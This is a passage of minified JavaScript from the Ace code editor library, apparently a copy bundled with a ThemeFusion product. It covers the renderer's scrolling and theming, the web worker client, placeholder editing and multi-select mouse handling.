this.$textLayer.update(config); if (this.$showGutter) this.$gutterLayer.update(config); this.$markerBack.update(config); this.$markerFront.update(config); this.$cursorLayer.update(config); this.$moveTextAreaToCursor(); this.$highlightGutterLine && this.$updateGutterLineHighlight(); this._signal("afterRender"); return; } if (changes & this.CHANGE_SCROLL) { if (changes & this.CHANGE_TEXT || changes & this.CHANGE_LINES) this.$textLayer.update(config); else this.$textLayer.scrollLines(config); if (this.$showGutter) this.$gutterLayer.update(config); this.$markerBack.update(config); this.$markerFront.update(config); this.$cursorLayer.update(config); this.$highlightGutterLine && this.$updateGutterLineHighlight(); this.$moveTextAreaToCursor(); this._signal("afterRender"); return; } if (changes & this.CHANGE_TEXT) { this.$textLayer.update(config); if (this.$showGutter) this.$gutterLayer.update(config); } else if (changes & this.CHANGE_LINES) { if (this.$updateLines() || (changes & this.CHANGE_GUTTER) && this.$showGutter) this.$gutterLayer.update(config); } else if (changes & this.CHANGE_TEXT || changes & this.CHANGE_GUTTER) { if (this.$showGutter) this.$gutterLayer.update(config); } if (changes & this.CHANGE_CURSOR) { this.$cursorLayer.update(config); this.$moveTextAreaToCursor(); this.$highlightGutterLine && this.$updateGutterLineHighlight(); } if (changes & (this.CHANGE_MARKER | this.CHANGE_MARKER_FRONT)) { this.$markerFront.update(config); } if (changes & (this.CHANGE_MARKER | this.CHANGE_MARKER_BACK)) { this.$markerBack.update(config); } this._signal("afterRender"); }; this.$autosize = function() { var height = this.session.getScreenLength() * this.lineHeight; var maxHeight = this.$maxLines * this.lineHeight; var desiredHeight = Math.min(maxHeight, Math.max((this.$minLines || 1) * this.lineHeight, height) ) + this.scrollMargin.v + (this.$extraHeight || 0); if (this.$horizScroll) desiredHeight += this.scrollBarH.getHeight(); if (this.$maxPixelHeight && desiredHeight > this.$maxPixelHeight) desiredHeight = this.$maxPixelHeight; var vScroll = height > maxHeight; if (desiredHeight != this.desiredHeight || this.$size.height != this.desiredHeight || vScroll != this.$vScroll) { if (vScroll != this.$vScroll) { this.$vScroll = vScroll; this.scrollBarV.setVisible(vScroll); } var w = this.container.clientWidth; this.container.style.height = desiredHeight + "px"; this.$updateCachedSize(true, this.$gutterWidth, w, desiredHeight); this.desiredHeight = desiredHeight; this._signal("autosize"); } }; this.$computeLayerConfig = function() { var session = this.session; var size = this.$size; var hideScrollbars = size.height <= 2 * this.lineHeight; var screenLines = this.session.getScreenLength(); var maxHeight = screenLines * this.lineHeight; var longestLine = this.$getLongestLine(); var horizScroll = !hideScrollbars && (this.$hScrollBarAlwaysVisible || size.scrollerWidth - longestLine - 2 * this.$padding < 0); var hScrollChanged = this.$horizScroll !== horizScroll; if (hScrollChanged) { this.$horizScroll = horizScroll; this.scrollBarH.setVisible(horizScroll); } var vScrollBefore = this.$vScroll; // autosize can change vscroll value in which case we need to update longestLine if (this.$maxLines && this.lineHeight > 1) this.$autosize(); var offset = this.scrollTop % this.lineHeight; var minHeight = size.scrollerHeight + this.lineHeight; var scrollPastEnd = !this.$maxLines && this.$scrollPastEnd ? (size.scrollerHeight - this.lineHeight) * this.$scrollPastEnd : 0; maxHeight += scrollPastEnd; var sm = this.scrollMargin; this.session.setScrollTop(Math.max(-sm.top, Math.min(this.scrollTop, maxHeight - size.scrollerHeight + sm.bottom))); this.session.setScrollLeft(Math.max(-sm.left, Math.min(this.scrollLeft, longestLine + 2 * this.$padding - size.scrollerWidth + sm.right))); var vScroll = !hideScrollbars && (this.$vScrollBarAlwaysVisible || size.scrollerHeight - maxHeight + scrollPastEnd < 0 || this.scrollTop > sm.top); var vScrollChanged = vScrollBefore !== vScroll; if (vScrollChanged) { this.$vScroll = vScroll; this.scrollBarV.setVisible(vScroll); } var lineCount = Math.ceil(minHeight / this.lineHeight) - 1; var firstRow = Math.max(0, Math.round((this.scrollTop - offset) / this.lineHeight)); var lastRow = firstRow + lineCount; var firstRowScreen, firstRowHeight; var lineHeight = this.lineHeight; firstRow = session.screenToDocumentRow(firstRow, 0); var foldLine = session.getFoldLine(firstRow); if (foldLine) { firstRow = foldLine.start.row; } firstRowScreen = session.documentToScreenRow(firstRow, 0); firstRowHeight = session.getRowLength(firstRow) * lineHeight; lastRow = Math.min(session.screenToDocumentRow(lastRow, 0), session.getLength() - 1); minHeight = size.scrollerHeight + session.getRowLength(lastRow) * lineHeight + firstRowHeight; offset = this.scrollTop - firstRowScreen * lineHeight; var changes = 0; if (this.layerConfig.width != longestLine) changes = this.CHANGE_H_SCROLL; if (hScrollChanged || vScrollChanged) { changes = this.$updateCachedSize(true, this.gutterWidth, size.width, size.height); this._signal("scrollbarVisibilityChanged"); if (vScrollChanged) longestLine = this.$getLongestLine(); } this.layerConfig = { width : longestLine, padding : this.$padding, firstRow : firstRow, firstRowScreen: firstRowScreen, lastRow : lastRow, lineHeight : lineHeight, characterWidth : this.characterWidth, minHeight : minHeight, maxHeight : maxHeight, offset : offset, gutterOffset : Math.max(0, Math.ceil((offset + size.height - size.scrollerHeight) / lineHeight)), height : this.$size.scrollerHeight }; return changes; }; this.$updateLines = function() { var firstRow = this.$changedLines.firstRow; var lastRow = this.$changedLines.lastRow; this.$changedLines = null; var layerConfig = this.layerConfig; if (firstRow > layerConfig.lastRow + 1) { return; } if (lastRow < layerConfig.firstRow) { return; } if (lastRow === Infinity) { if (this.$showGutter) this.$gutterLayer.update(layerConfig); this.$textLayer.update(layerConfig); return; } this.$textLayer.updateLines(layerConfig, firstRow, lastRow); return true; }; this.$getLongestLine = function() { var charCount = this.session.getScreenWidth(); if (this.showInvisibles && !this.session.$useWrapMode) charCount += 1; return Math.max(this.$size.scrollerWidth - 2 * this.$padding, Math.round(charCount * this.characterWidth)); }; this.updateFrontMarkers = function() { this.$markerFront.setMarkers(this.session.getMarkers(true)); this.$loop.schedule(this.CHANGE_MARKER_FRONT); }; this.updateBackMarkers = function() { this.$markerBack.setMarkers(this.session.getMarkers()); this.$loop.schedule(this.CHANGE_MARKER_BACK); }; this.addGutterDecoration = function(row, className){ this.$gutterLayer.addGutterDecoration(row, className); }; this.removeGutterDecoration = function(row, className){ this.$gutterLayer.removeGutterDecoration(row, className); }; this.updateBreakpoints = function(rows) { this.$loop.schedule(this.CHANGE_GUTTER); }; this.setAnnotations = function(annotations) { this.$gutterLayer.setAnnotations(annotations); this.$loop.schedule(this.CHANGE_GUTTER); }; this.updateCursor = function() { this.$loop.schedule(this.CHANGE_CURSOR); }; this.hideCursor = function() { this.$cursorLayer.hideCursor(); }; this.showCursor = function() { this.$cursorLayer.showCursor(); }; this.scrollSelectionIntoView = function(anchor, lead, offset) { this.scrollCursorIntoView(anchor, offset); this.scrollCursorIntoView(lead, offset); }; this.scrollCursorIntoView = function(cursor, offset, $viewMargin) { if (this.$size.scrollerHeight === 0) return; var pos = this.$cursorLayer.getPixelPosition(cursor); var left = pos.left; var top = pos.top; var topMargin = $viewMargin && $viewMargin.top || 0; var bottomMargin = $viewMargin && $viewMargin.bottom || 0; var scrollTop = this.$scrollAnimation ? this.session.getScrollTop() : this.scrollTop; if (scrollTop + topMargin > top) { if (offset && scrollTop + topMargin > top + this.lineHeight) top -= offset * this.$size.scrollerHeight; if (top === 0) top = -this.scrollMargin.top; this.session.setScrollTop(top); } else if (scrollTop + this.$size.scrollerHeight - bottomMargin < top + this.lineHeight) { if (offset && scrollTop + this.$size.scrollerHeight - bottomMargin < top - this.lineHeight) top += offset * this.$size.scrollerHeight; this.session.setScrollTop(top + this.lineHeight - this.$size.scrollerHeight); } var scrollLeft = this.scrollLeft; if (scrollLeft > left) { if (left < this.$padding + 2 * this.layerConfig.characterWidth) left = -this.scrollMargin.left; this.session.setScrollLeft(left); } else if (scrollLeft + this.$size.scrollerWidth < left + this.characterWidth) { this.session.setScrollLeft(Math.round(left + this.characterWidth - this.$size.scrollerWidth)); } else if (scrollLeft <= this.$padding && left - scrollLeft < this.characterWidth) { this.session.setScrollLeft(0); } }; this.getScrollTop = function() { return this.session.getScrollTop(); }; this.getScrollLeft = function() { return this.session.getScrollLeft(); }; this.getScrollTopRow = function() { return this.scrollTop / this.lineHeight; }; this.getScrollBottomRow = function() { return Math.max(0, Math.floor((this.scrollTop + this.$size.scrollerHeight) / this.lineHeight) - 1); }; this.scrollToRow = function(row) { this.session.setScrollTop(row * this.lineHeight); }; this.alignCursor = function(cursor, alignment) { if (typeof cursor == "number") cursor = {row: cursor, column: 0}; var pos = this.$cursorLayer.getPixelPosition(cursor); var h = this.$size.scrollerHeight - this.lineHeight; var offset = pos.top - h * (alignment || 0); this.session.setScrollTop(offset); return offset; }; this.STEPS = 8; this.$calcSteps = function(fromValue, toValue){ var i = 0; var l = this.STEPS; var steps = []; var func = function(t, x_min, dx) { return dx * (Math.pow(t - 1, 3) + 1) + x_min; }; for (i = 0; i < l; ++i) steps.push(func(i / this.STEPS, fromValue, toValue - fromValue)); return steps; }; this.scrollToLine = function(line, center, animate, callback) { var pos = this.$cursorLayer.getPixelPosition({row: line, column: 0}); var offset = pos.top; if (center) offset -= this.$size.scrollerHeight / 2; var initialScroll = this.scrollTop; this.session.setScrollTop(offset); if (animate !== false) this.animateScrolling(initialScroll, callback); }; this.animateScrolling = function(fromValue, callback) { var toValue = this.scrollTop; if (!this.$animatedScroll) return; var _self = this; if (fromValue == toValue) return; if (this.$scrollAnimation) { var oldSteps = this.$scrollAnimation.steps; if (oldSteps.length) { fromValue = oldSteps[0]; if (fromValue == toValue) return; } } var steps = _self.$calcSteps(fromValue, toValue); this.$scrollAnimation = {from: fromValue, to: toValue, steps: steps}; clearInterval(this.$timer); _self.session.setScrollTop(steps.shift()); _self.session.$scrollTop = toValue; this.$timer = setInterval(function() { if (steps.length) { _self.session.setScrollTop(steps.shift()); _self.session.$scrollTop = toValue; } else if (toValue != null) { _self.session.$scrollTop = -1; _self.session.setScrollTop(toValue); toValue = null; } else { _self.$timer = clearInterval(_self.$timer); _self.$scrollAnimation = null; callback && callback(); } }, 10); }; this.scrollToY = function(scrollTop) { if (this.scrollTop !== scrollTop) { this.$loop.schedule(this.CHANGE_SCROLL); this.scrollTop = scrollTop; } }; this.scrollToX = function(scrollLeft) { if (this.scrollLeft !== scrollLeft) this.scrollLeft = scrollLeft; this.$loop.schedule(this.CHANGE_H_SCROLL); }; this.scrollTo = function(x, y) { this.session.setScrollTop(y); this.session.setScrollLeft(y); }; this.scrollBy = function(deltaX, deltaY) { deltaY && this.session.setScrollTop(this.session.getScrollTop() + deltaY); deltaX && this.session.setScrollLeft(this.session.getScrollLeft() + deltaX); }; this.isScrollableBy = function(deltaX, deltaY) { if (deltaY < 0 && this.session.getScrollTop() >= 1 - this.scrollMargin.top) return true; if (deltaY > 0 && this.session.getScrollTop() + this.$size.scrollerHeight - this.layerConfig.maxHeight < -1 + this.scrollMargin.bottom) return true; if (deltaX < 0 && this.session.getScrollLeft() >= 1 - this.scrollMargin.left) return true; if (deltaX > 0 && this.session.getScrollLeft() + this.$size.scrollerWidth - this.layerConfig.width < -1 + this.scrollMargin.right) return true; }; this.pixelToScreenCoordinates = function(x, y) { var canvasPos = this.scroller.getBoundingClientRect(); var offset = (x + this.scrollLeft - canvasPos.left - this.$padding) / this.characterWidth; var row = Math.floor((y + this.scrollTop - canvasPos.top) / this.lineHeight); var col = Math.round(offset); return {row: row, column: col, side: offset - col > 0 ? 1 : -1}; }; this.screenToTextCoordinates = function(x, y) { var canvasPos = this.scroller.getBoundingClientRect(); var col = Math.round( (x + this.scrollLeft - canvasPos.left - this.$padding) / this.characterWidth ); var row = (y + this.scrollTop - canvasPos.top) / this.lineHeight; return this.session.screenToDocumentPosition(row, Math.max(col, 0)); }; this.textToScreenCoordinates = function(row, column) { var canvasPos = this.scroller.getBoundingClientRect(); var pos = this.session.documentToScreenPosition(row, column); var x = this.$padding + Math.round(pos.column * this.characterWidth); var y = pos.row * this.lineHeight; return { pageX: canvasPos.left + x - this.scrollLeft, pageY: canvasPos.top + y - this.scrollTop }; }; this.visualizeFocus = function() { dom.addCssClass(this.container, "ace_focus"); }; this.visualizeBlur = function() { dom.removeCssClass(this.container, "ace_focus"); }; this.showComposition = function(position) { if (!this.$composition) this.$composition = { keepTextAreaAtCursor: this.$keepTextAreaAtCursor, cssText: this.textarea.style.cssText }; this.$keepTextAreaAtCursor = true; dom.addCssClass(this.textarea, "ace_composition"); this.textarea.style.cssText = ""; this.$moveTextAreaToCursor(); }; this.setCompositionText = function(text) { this.$moveTextAreaToCursor(); }; this.hideComposition = function() { if (!this.$composition) return; dom.removeCssClass(this.textarea, "ace_composition"); this.$keepTextAreaAtCursor = this.$composition.keepTextAreaAtCursor; this.textarea.style.cssText = this.$composition.cssText; this.$composition = null; }; this.setTheme = function(theme, cb) { var _self = this; this.$themeId = theme; _self._dispatchEvent('themeChange',{theme:theme}); if (!theme || typeof theme == "string") { var moduleName = theme || this.$options.theme.initialValue; config.loadModule(["theme", moduleName], afterLoad); } else { afterLoad(theme); } function afterLoad(module) { if (_self.$themeId != theme) return cb && cb(); // ThemeFusion edit: fix module being undefined. if ('undefined' === typeof module || !module.cssClass) return; dom.importCssString( module.cssText, module.cssClass, _self.container.ownerDocument ); if (_self.theme) dom.removeCssClass(_self.container, _self.theme.cssClass); var padding = "padding" in module ? module.padding : "padding" in (_self.theme || {}) ? 4 : _self.$padding; if (_self.$padding && padding != _self.$padding) _self.setPadding(padding); _self.$theme = module.cssClass; _self.theme = module; dom.addCssClass(_self.container, module.cssClass); dom.setCssClass(_self.container, "ace_dark", module.isDark); if (_self.$size) { _self.$size.width = 0; _self.$updateSizeAsync(); } _self._dispatchEvent('themeLoaded', {theme:module}); cb && cb(); } }; this.getTheme = function() { return this.$themeId; }; this.setStyle = function(style, include) { dom.setCssClass(this.container, style, include !== false); }; this.unsetStyle = function(style) { dom.removeCssClass(this.container, style); }; this.setCursorStyle = function(style) { if (this.scroller.style.cursor != style) this.scroller.style.cursor = style; }; this.setMouseCursor = function(cursorStyle) { this.scroller.style.cursor = cursorStyle; }; this.destroy = function() { this.$textLayer.destroy(); this.$cursorLayer.destroy(); }; }).call(VirtualRenderer.prototype); config.defineOptions(VirtualRenderer.prototype, "renderer", { animatedScroll: {initialValue: false}, showInvisibles: { set: function(value) { if (this.$textLayer.setShowInvisibles(value)) this.$loop.schedule(this.CHANGE_TEXT); }, initialValue: false }, showPrintMargin: { set: function() { this.$updatePrintMargin(); }, initialValue: true }, printMarginColumn: { set: function() { this.$updatePrintMargin(); }, initialValue: 80 }, printMargin: { set: function(val) { if (typeof val == "number") this.$printMarginColumn = val; this.$showPrintMargin = !!val; this.$updatePrintMargin(); }, get: function() { return this.$showPrintMargin && this.$printMarginColumn; } }, showGutter: { set: function(show){ this.$gutter.style.display = show ? "block" : "none"; this.$loop.schedule(this.CHANGE_FULL); this.onGutterResize(); }, initialValue: true }, fadeFoldWidgets: { set: function(show) { dom.setCssClass(this.$gutter, "ace_fade-fold-widgets", show); }, initialValue: false }, showFoldWidgets: { set: function(show) {this.$gutterLayer.setShowFoldWidgets(show)}, initialValue: true }, showLineNumbers: { set: function(show) { this.$gutterLayer.setShowLineNumbers(show); this.$loop.schedule(this.CHANGE_GUTTER); }, initialValue: true }, displayIndentGuides: { set: function(show) { if (this.$textLayer.setDisplayIndentGuides(show)) this.$loop.schedule(this.CHANGE_TEXT); }, initialValue: true }, highlightGutterLine: { set: function(shouldHighlight) { if (!this.$gutterLineHighlight) { this.$gutterLineHighlight = dom.createElement("div"); this.$gutterLineHighlight.className = "ace_gutter-active-line"; this.$gutter.appendChild(this.$gutterLineHighlight); return; } this.$gutterLineHighlight.style.display = shouldHighlight ? "" : "none"; if (this.$cursorLayer.$pixelPos) this.$updateGutterLineHighlight(); }, initialValue: false, value: true }, hScrollBarAlwaysVisible: { set: function(val) { if (!this.$hScrollBarAlwaysVisible || !this.$horizScroll) this.$loop.schedule(this.CHANGE_SCROLL); }, initialValue: false }, vScrollBarAlwaysVisible: { set: function(val) { if (!this.$vScrollBarAlwaysVisible || !this.$vScroll) this.$loop.schedule(this.CHANGE_SCROLL); }, initialValue: false }, fontSize: { set: function(size) { if (typeof size == "number") size = size + "px"; this.container.style.fontSize = size; this.updateFontSize(); }, initialValue: 12 }, fontFamily: { set: function(name) { this.container.style.fontFamily = name; this.updateFontSize(); } }, maxLines: { set: function(val) { this.updateFull(); } }, minLines: { set: function(val) { this.updateFull(); } }, maxPixelHeight: { set: function(val) { this.updateFull(); }, initialValue: 0 }, scrollPastEnd: { set: function(val) { val = +val || 0; if (this.$scrollPastEnd == val) return; this.$scrollPastEnd = val; this.$loop.schedule(this.CHANGE_SCROLL); }, initialValue: 0, handlesSet: true }, fixedWidthGutter: { set: function(val) { this.$gutterLayer.$fixedWidth = !!val; this.$loop.schedule(this.CHANGE_GUTTER); } }, theme: { set: function(val) { this.setTheme(val) }, get: function() { return this.$themeId || this.theme; }, initialValue: "./theme/textmate", handlesSet: true } }); exports.VirtualRenderer = VirtualRenderer; }); ace.define("ace/worker/worker_client",["require","exports","module","ace/lib/oop","ace/lib/net","ace/lib/event_emitter","ace/config"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var net = require("../lib/net"); var EventEmitter = require("../lib/event_emitter").EventEmitter; var config = require("../config"); var WorkerClient = function(topLevelNamespaces, mod, classname, workerUrl) { this.$sendDeltaQueue = this.$sendDeltaQueue.bind(this); this.changeListener = this.changeListener.bind(this); this.onMessage = this.onMessage.bind(this); if (require.nameToUrl && !require.toUrl) require.toUrl = require.nameToUrl; if (config.get("packaged") || !require.toUrl) { workerUrl = workerUrl || config.moduleUrl(mod, "worker"); } else { var normalizePath = this.$normalizePath; workerUrl = workerUrl || normalizePath(require.toUrl("ace/worker/worker.js", null, "_")); var tlns = {}; topLevelNamespaces.forEach(function(ns) { tlns[ns] = normalizePath(require.toUrl(ns, null, "_").replace(/(\.js)?(\?.*)?$/, "")); }); } try { this.$worker = new Worker(workerUrl); } catch(e) { if (e instanceof window.DOMException) { var blob = this.$workerBlob(workerUrl); var URL = window.URL || window.webkitURL; var blobURL = URL.createObjectURL(blob); this.$worker = new Worker(blobURL); URL.revokeObjectURL(blobURL); } else { throw e; } } this.$worker.postMessage({ init : true, tlns : tlns, module : mod, classname : classname }); this.callbackId = 1; this.callbacks = {}; this.$worker.onmessage = this.onMessage; }; (function(){ oop.implement(this, EventEmitter); this.onMessage = function(e) { var msg = e.data; switch(msg.type) { case "event": this._signal(msg.name, {data: msg.data}); break; case "call": var callback = this.callbacks[msg.id]; if (callback) { callback(msg.data); delete this.callbacks[msg.id]; } break; case "error": this.reportError(msg.data); break; case "log": window.console && console.log && console.log.apply(console, msg.data); break; } }; this.reportError = function(err) { window.console && console.error && console.error(err); }; this.$normalizePath = function(path) { return net.qualifyURL(path); }; this.terminate = function() { this._signal("terminate", {}); this.deltaQueue = null; this.$worker.terminate(); this.$worker = null; if (this.$doc) this.$doc.off("change", this.changeListener); this.$doc = null; }; this.send = function(cmd, args) { this.$worker.postMessage({command: cmd, args: args}); }; this.call = function(cmd, args, callback) { if (callback) { var id = this.callbackId++; this.callbacks[id] = callback; args.push(id); } this.send(cmd, args); }; this.emit = function(event, data) { try { this.$worker.postMessage({event: event, data: {data: data.data}}); } catch(ex) { console.error(ex.stack); } }; this.attachToDocument = function(doc) { if(this.$doc) this.terminate(); this.$doc = doc; this.call("setValue", [doc.getValue()]); doc.on("change", this.changeListener); }; this.changeListener = function(delta) { if (!this.deltaQueue) { this.deltaQueue = []; setTimeout(this.$sendDeltaQueue, 0); } if (delta.action == "insert") this.deltaQueue.push(delta.start, delta.lines); else this.deltaQueue.push(delta.start, delta.end); }; this.$sendDeltaQueue = function() { var q = this.deltaQueue; if (!q) return; this.deltaQueue = null; if (q.length > 50 && q.length > this.$doc.getLength() >> 1) { this.call("setValue", [this.$doc.getValue()]); } else this.emit("change", {data: q}); }; this.$workerBlob = function(workerUrl) { var script = "importScripts('" + net.qualifyURL(workerUrl) + "');"; try { return new Blob([script], {"type": "application/javascript"}); } catch (e) { // Backwards-compatibility var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder; var blobBuilder = new BlobBuilder(); blobBuilder.append(script); return blobBuilder.getBlob("application/javascript"); } }; }).call(WorkerClient.prototype); var UIWorkerClient = function(topLevelNamespaces, mod, classname) { this.$sendDeltaQueue = this.$sendDeltaQueue.bind(this); this.changeListener = this.changeListener.bind(this); this.callbackId = 1; this.callbacks = {}; this.messageBuffer = []; var main = null; var emitSync = false; var sender = Object.create(EventEmitter); var _self = this; this.$worker = {}; this.$worker.terminate = function() {}; this.$worker.postMessage = function(e) { _self.messageBuffer.push(e); if (main) { if (emitSync) setTimeout(processNext); else processNext(); } }; this.setEmitSync = function(val) { emitSync = val }; var processNext = function() { var msg = _self.messageBuffer.shift(); if (msg.command) main[msg.command].apply(main, msg.args); else if (msg.event) sender._signal(msg.event, msg.data); }; sender.postMessage = function(msg) { _self.onMessage({data: msg}); }; sender.callback = function(data, callbackId) { this.postMessage({type: "call", id: callbackId, data: data}); }; sender.emit = function(name, data) { this.postMessage({type: "event", name: name, data: data}); }; config.loadModule(["worker", mod], function(Main) { main = new Main[classname](sender); while (_self.messageBuffer.length) processNext(); }); }; UIWorkerClient.prototype = WorkerClient.prototype; exports.UIWorkerClient = UIWorkerClient; exports.WorkerClient = WorkerClient; }); ace.define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"], function(require, exports, module) { "use strict"; var Range = require("./range").Range; var EventEmitter = require("./lib/event_emitter").EventEmitter; var oop = require("./lib/oop"); var PlaceHolder = function(session, length, pos, others, mainClass, othersClass) { var _self = this; this.length = length; this.session = session; this.doc = session.getDocument(); this.mainClass = mainClass; this.othersClass = othersClass; this.$onUpdate = this.onUpdate.bind(this); this.doc.on("change", this.$onUpdate); this.$others = others; this.$onCursorChange = function() { setTimeout(function() { _self.onCursorChange(); }); }; this.$pos = pos; var undoStack = session.getUndoManager().$undoStack || session.getUndoManager().$undostack || {length: -1}; this.$undoStackDepth = undoStack.length; this.setup(); session.selection.on("changeCursor", this.$onCursorChange); }; (function() { oop.implement(this, EventEmitter); this.setup = function() { var _self = this; var doc = this.doc; var session = this.session; this.selectionBefore = session.selection.toJSON(); if (session.selection.inMultiSelectMode) session.selection.toSingleRange(); this.pos = doc.createAnchor(this.$pos.row, this.$pos.column); var pos = this.pos; pos.$insertRight = true; pos.detach(); pos.markerId = session.addMarker(new Range(pos.row, pos.column, pos.row, pos.column + this.length), this.mainClass, null, false); this.others = []; this.$others.forEach(function(other) { var anchor = doc.createAnchor(other.row, other.column); anchor.$insertRight = true; anchor.detach(); _self.others.push(anchor); }); session.setUndoSelect(false); }; this.showOtherMarkers = function() { if (this.othersActive) return; var session = this.session; var _self = this; this.othersActive = true; this.others.forEach(function(anchor) { anchor.markerId = session.addMarker(new Range(anchor.row, anchor.column, anchor.row, anchor.column+_self.length), _self.othersClass, null, false); }); }; this.hideOtherMarkers = function() { if (!this.othersActive) return; this.othersActive = false; for (var i = 0; i < this.others.length; i++) { this.session.removeMarker(this.others[i].markerId); } }; this.onUpdate = function(delta) { if (this.$updating) return this.updateAnchors(delta); var range = delta; if (range.start.row !== range.end.row) return; if (range.start.row !== this.pos.row) return; this.$updating = true; var lengthDiff = delta.action === "insert" ? range.end.column - range.start.column : range.start.column - range.end.column; var inMainRange = range.start.column >= this.pos.column && range.start.column <= this.pos.column + this.length + 1; var distanceFromStart = range.start.column - this.pos.column; this.updateAnchors(delta); if (inMainRange) this.length += lengthDiff; if (inMainRange && !this.session.$fromUndo) { if (delta.action === 'insert') { for (var i = this.others.length - 1; i >= 0; i--) { var otherPos = this.others[i]; var newPos = {row: otherPos.row, column: otherPos.column + distanceFromStart}; this.doc.insertMergedLines(newPos, delta.lines); } } else if (delta.action === 'remove') { for (var i = this.others.length - 1; i >= 0; i--) { var otherPos = this.others[i]; var newPos = {row: otherPos.row, column: otherPos.column + distanceFromStart}; this.doc.remove(new Range(newPos.row, newPos.column, newPos.row, newPos.column - lengthDiff)); } } } this.$updating = false; this.updateMarkers(); }; this.updateAnchors = function(delta) { this.pos.onChange(delta); for (var i = this.others.length; i--;) this.others[i].onChange(delta); this.updateMarkers(); }; this.updateMarkers = function() { if (this.$updating) return; var _self = this; var session = this.session; var updateMarker = function(pos, className) { session.removeMarker(pos.markerId); pos.markerId = session.addMarker(new Range(pos.row, pos.column, pos.row, pos.column+_self.length), className, null, false); }; updateMarker(this.pos, this.mainClass); for (var i = this.others.length; i--;) updateMarker(this.others[i], this.othersClass); }; this.onCursorChange = function(event) { if (this.$updating || !this.session) return; var pos = this.session.selection.getCursor(); if (pos.row === this.pos.row && pos.column >= this.pos.column && pos.column <= this.pos.column + this.length) { this.showOtherMarkers(); this._emit("cursorEnter", event); } else { this.hideOtherMarkers(); this._emit("cursorLeave", event); } }; this.detach = function() { this.session.removeMarker(this.pos && this.pos.markerId); this.hideOtherMarkers(); this.doc.removeEventListener("change", this.$onUpdate); this.session.selection.removeEventListener("changeCursor", this.$onCursorChange); this.session.setUndoSelect(true); this.session = null; }; this.cancel = function() { if (this.$undoStackDepth === -1) return; var undoManager = this.session.getUndoManager(); var undosRequired = (undoManager.$undoStack || undoManager.$undostack).length - this.$undoStackDepth; for (var i = 0; i < undosRequired; i++) { undoManager.undo(true); } if (this.selectionBefore) this.session.selection.fromJSON(this.selectionBefore); }; }).call(PlaceHolder.prototype); exports.PlaceHolder = PlaceHolder; }); ace.define("ace/mouse/multi_select_handler",["require","exports","module","ace/lib/event","ace/lib/useragent"], function(require, exports, module) { var event = require("../lib/event"); var useragent = require("../lib/useragent"); function isSamePoint(p1, p2) { return p1.row == p2.row && p1.column == p2.column; } function onMouseDown(e) { var ev = e.domEvent; var alt = ev.altKey; var shift = ev.shiftKey; var ctrl = ev.ctrlKey; var accel = e.getAccelKey(); var button = e.getButton(); if (ctrl && useragent.isMac) button = ev.button; if (e.editor.inMultiSelectMode && button == 2) { e.editor.textInput.onContextMenu(e.domEvent); return; } if (!ctrl && !alt && !accel) { if (button === 0 && e.editor.inMultiSelectMode) e.editor.exitMultiSelectMode(); return; } if (button !== 0) return; var editor = e.editor; var selection = editor.selection; var isMultiSelect = editor.inMultiSelectMode; var pos = e.getDocumentPosition(); var cursor = selection.getCursor(); var inSelection = e.inSelection() || (selection.isEmpty() && isSamePoint(pos, cursor)); var mouseX = e.x, mouseY = e.y; var onMouseSelection = function(e) { mouseX = e.clientX; mouseY = e.clientY; }; var session = editor.session; var screenAnchor = editor.renderer.pixelToScreenCoordinates(mouseX, mouseY); var screenCursor = screenAnchor; var selectionMode; if (editor.$mouseHandler.$enableJumpToDef) { if (ctrl && alt || accel && alt) selectionMode = shift ? "block" : "add"; else if (alt && editor.$blockSelectEnabled) selectionMode = "block"; } else { if (accel && !alt) { selectionMode = "add"; if (!isMultiSelect && shift) return; } else if (alt && editor.$blockSelectEnabled) { selectionMode = "block"; } } if (selectionMode && useragent.isMac && ev.ctrlKey) { editor.$mouseHandler.cancelContextMenu(); } if (selectionMode == "add") { if (!isMultiSelect && inSelection) return; // dragging if (!isMultiSelect) { var range = selection.toOrientedRange(); editor.addSelectionMarker(range); } var oldRange = selection.rangeList.rangeAtPoint(pos); editor.$blockScrolling++; editor.inVirtualSelectionMode = true; if (shift) { oldRange = null; range = selection.ranges[0] || range; editor.removeSelectionMarker(range); } editor.once("mouseup", function() { var tmpSel = selection.toOrientedRange(); if (oldRange && tmpSel.isEmpty() && isSamePoint(oldRange.cursor, tmpSel.cursor)) selection.substractPoint(tmpSel.cursor); else { if (shift) { selection.substractPoint(range.cursor); } else if (range) { editor.removeSelectionMarker(range); selection.addRange(range); } selection.addRange(tmpSel); } editor.$blockScrolling--; editor.inVirtualSelectionMode = false; }); } else if (selectionMode == "block") { e.stop(); editor.inVirtualSelectionMode = true; var initialRange; var rectSel = []; var blockSelect = function() { var newCursor = editor.renderer.pixelToScreenCoordinates(mouseX, mouseY); var cursor = session.screenToDocumentPosition(newCursor.row, newCursor.column); if (isSamePoint(screenCursor, newCursor) && isSamePoint(cursor, selection.lead)) return; screenCursor = newCursor; editor.$blockScrolling++; editor.selection.moveToPosition(cursor); editor.renderer.scrollCursorIntoView(); editor.removeSelectionMarkers(rectSel); rectSel = selection.rectangularRangeBlock(screenCursor, screenAnchor); if (editor.$mouseHandler.$clickSelection && rectSel.length == 1 && rectSel[0].isEmpty()) rectSel[0] = editor.$mouseHandler.$clickSelection.clone(); rectSel.forEach(editor.addSelectionMarker, editor); editor.updateSelectionMarkers(); editor.$blockScrolling--; }; editor.$blockScrolling++; if (isMultiSelect && !accel) { selection.toSingleRange(); } else if (!isMultiSelect && accel) { initialRange = selection.toOrientedRange(); editor.addSelectionMarker(initialRange); } if (shift) screenAnchor = session.documentToScreenPosition(selection.lead); else selection.moveToPosition(pos); editor.$blockScrolling--; screenCursor = {row: -1, column: -1}; var onMouseSelectionEnd = function(e) { clearInterval(timerId); editor.removeSelectionMarkers(rectSel); if (!rectSel.length) rectSel = [selection.toOrientedRange()]; editor.$blockScrolling++; if (initialRange) { editor.removeSelectionMarker(initialRange); selection.toSingleRange(initialRange); } for (var i = 0; i < rectSel.length; i++) selection.addRange(rectSel[i]); editor.inVirtualSelectionMode = false; editor.$mouseHandler.$clickSelection = null; editor.$blockScrolling--; }; var onSelectionInterval = blockSelect; event.capture(editor.container, onMouseSelection, onMouseSelectionEnd); var timerId = setInterval(function() {onSelectionInterval();}, 20); return e.preventDefault(); } } exports.onMouseDown = onMouseDown; }); ace.define("ace/commands/multi_select_commands",["require","exports","module","ace/keyboard/hash_handler"], function(require, exports, module) { exports.defaultCommands = [{ name: "addCursorAbove", exec: function(editor) { 